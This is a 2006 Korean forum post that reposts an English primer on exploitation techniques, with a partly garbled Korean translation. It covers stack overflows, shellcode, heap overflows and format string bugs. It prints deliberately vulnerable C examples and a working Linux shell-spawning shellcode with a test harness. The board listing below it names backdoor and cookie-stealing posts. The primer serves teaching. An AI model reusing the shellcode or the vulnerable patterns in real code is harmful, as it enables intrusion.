Google

Category

  등뒤에개문신(2006-09-27 01:15:12, Hit : 74386, Vote : 858
 exploit 기술 문서

By Priest
priest@priestmaster.org

*** What is an exploit ***

An exploit is a computer programm, which circumvent computer security.
There are many ways to exploit security holes. If a computer programmer
make a programming mistake in a computer program, it is sometimes possible to
circumvent security. The coding of such programs, which attack (hack) the
programming mistakes or security holes is the art of exploitation or exploit
coding. Some common exploiting technics are stack exploits, heap exploits,
format string exploits, ...

*** exploit 은 무엇인가 ***

exploit은 컴퓨터 보안을 우회하는 컴퓨터 프로그램입니다. 보안을 우회하는 많은 방법들이 있습니다.만약 컴퓨터 프로그래머가 컴퓨터 프로그램을 만들때 실수를 한다면, 보안을 우회하는것은 가끔 가능합니다. 다수의 프로그램 코딩에 있어서 프로그래밍상의 실수나 보안헛점을 공격(해킹)하는것은 exploit 코딩의 예술입니다.
약간의 일반적은 exploiting 기술은 stack exploits, heap exploits,format string exploits, ...

*** What is an stack exploit ***

A stack exploit occurs, if you can write more than the size of a buffer
located on the stack into this buffer. If you can write more data,
as the size of the buffer (more than 1024 bytes in this example) a stack
overflow occurs. For example:

***  stack exploit은 무엇인가 ***

만약 버퍼의 크기가 이 버퍼의 스텍이 정해놓은것보다 당신이 더많이 쓸수 있으면 스텍 exploit는 발생됩니다. 만약 당신이 더 많은 데이타를 기록할수 있으면, 버퍼(이 예에서는 1024바이트 이상)의 크기로서 스택 오버플로우가 일어납니다.

예를 들면

main(int argc, char **argv)
{
   // This buffer is located at the stack
   char buf[1024];
   // i is located on the stack
   int i;
    
   // A 6 byte stack buffer overflow
   for(i=0;i<1030;i++)
      buf[i] = 'A'

   // Another example
   // if argv larger than 1024 a overflow occur
   strcpy(buf, argv[1]);
}



Why a stack overflow is a security threat ? The assembler instruction 'call'
push the return address on the stack. 'call' jump into a function in our
example the function is main. If the function returns with the assembler
instruction 'ret', it returns to the function pointer at the stack.
If you can overflow the stack you can overwrite the return address located
at stack. You can return to another location. The location should a pointer
to a shellcode address. Read alephonestack.txt for more information.
You can download it at my papers section.

왜 스택 오버플로는 보안 위협입니까?
어셈블러 명령어인 'call'은 스택에 주소를 반환합니다.
우리들의 보기에 기능으로 함수를 뛰어넘은 'call'은 주요합니다.
만약 함수가 어셈블러 명령어인 'ret' 과 함께 반환한다면, 그건 스택의 포인터 함수로 반환합니다.
만약 당신이 스텍에서 오버플로우를일으킬수 있다면 당신은 스텍에서 위치설정된 복귀 주소를 겹쳐서 쓸수 있습니다. 당신은 또다른 위치로 되돌아 갈수 있습니다. 이위치는 쉘코드의 주소 포인터 일것이다. 더 많은 정보를 위해 alephonestack.txt을 읽으십시오 당신은 나의 문서들 중에서 그것을 다운로드할 수 있습니다

*** What is a shellcode ***

Shellcode are machine instructions, which launch a shell for example.
A shellcode looks like this:

char shellcode[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";

Every char is a machine instruction. \xcd\x80 is 'int 80' for example. After
an overflow occur we need a address to return. This shellcode launch a
shell. If you point to the shellcode (after a stack overflow for example),
the machine instructions are launched and spawns a shell. Compile this
program. It tests the shellcode and spawns a shell:

*** 쉘코드는 무엇인가 ***

Shellcode는 예를 들면 쉘을 설치한 기계 명령어들입니다
shellcode는 이것처럼 보입니다

char shellcode[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";

모든 문자는 기계 명령어입니다
\xcd\x80는 예를 들면 'int GramNumN'입니다.
오버플로우가 발생한 후에 우리는 되돌아갈 주소가 필요합니다.
이 shellcode 는 쉘을 설치합니다.
만약 당신이 shellcode(예를 들면 스택 오버플로후에)을 가리키면 , 기계명령어들은 쉘을 생성합니다.
이프로그램을 컴파일 하십시오.
그것은 shellcode를 테스트하고 쉘을 생성합니다.

// Compile this program with gcc sctest.c -o sctest and start it: ./sctest
// now you have someting like
// sh-2.03$


#include <stdio.h>

char shellcode[]=
                "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
                "\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
int
main()
{
        void (*dsr) ();
        (long) dsr = &shellcode;
        printf("Size: %d bytes.\n", sizeof(shellcode));
        dsr();
}

read alephonestack.txt for basic shellcode coding

*** What are heap overflows ***
If the heap is overflowed a heap buffer overflow occurs.
A heap overflow looks like that:

// It dynamically create a 1000 byte buffer on the heap.
main(int argc, char **argv)
{
   // pointer points to a heap address
   char *pointer = malloc(1000);
   char *pointer2 = malloc(200);

   // Overflowed, if argv[1] is larger than 1000 bytes.
   // The buffer pointer 2 is overflowed if pointer
   // contains more than 1000 bytes.
   strcpy(pointer, argv[1]);

   // Free dynamically allocated data
   free(pointer)
   free(pointer2);
}

Read heaptut.txt for more information.

*** Format String exploit's ? ***
If you control the format string in one of the printf, syslog or
setproctitle function, a exploitation is possible. Format strings
are something like "%s", "%x", "%d", ... For example:

main(int argc, char **argv)
{
   char *buf = "TEST";

   // The wrong way
   // The user can control the format string
   printf(argv[1]);

   // You should code:
   printf("%x", argv[1]);
}




Name
Memo      


Password



공지   [공지]'-^ 반가르 [51]  등뒤에개문신  2006/09/25 22024 839
10   [정보] google codesearch [32]  등뒤에개문신 2006/10/08 11178 721
9   [정보] google ext:pwd inurl:(service | authors | adminstrars | users)"-Frontpage- [223]  등뒤에개문신 2006/10/07 42756 848
8   [정보] some mixed dangerous dorks [708]  등뒤에개문신 2006/10/04 335800 1671
7   [강좌] WMF + SWF EXPLOIT [597]  등뒤에개문신 2006/10/01 21119 780
6   [정보] Windows XP Privilege Escalation Exploit [277]  등뒤에개문신 2006/09/30 27128 829
5   [정보] md5 hash site [343]  등뒤에개문신 2006/09/28 81819 792
4   [정보] 리버싱 자료 [7]  등뒤에개문신 2006/09/27 9057 935
  [정보] exploit 기술 문서 [2861]  등뒤에개문신 2006/09/27 74386 858
2   [강좌] Backdoor IPB 2.1.3-2.1.5 [826]  등뒤에개문신 2006/09/26 69878 605
1   [강좌] CookieStealingGif [35]  등뒤에개문신 2006/09/25 11936 662

1
 

Copyright 1999-2018 Zeroboard / skin by zero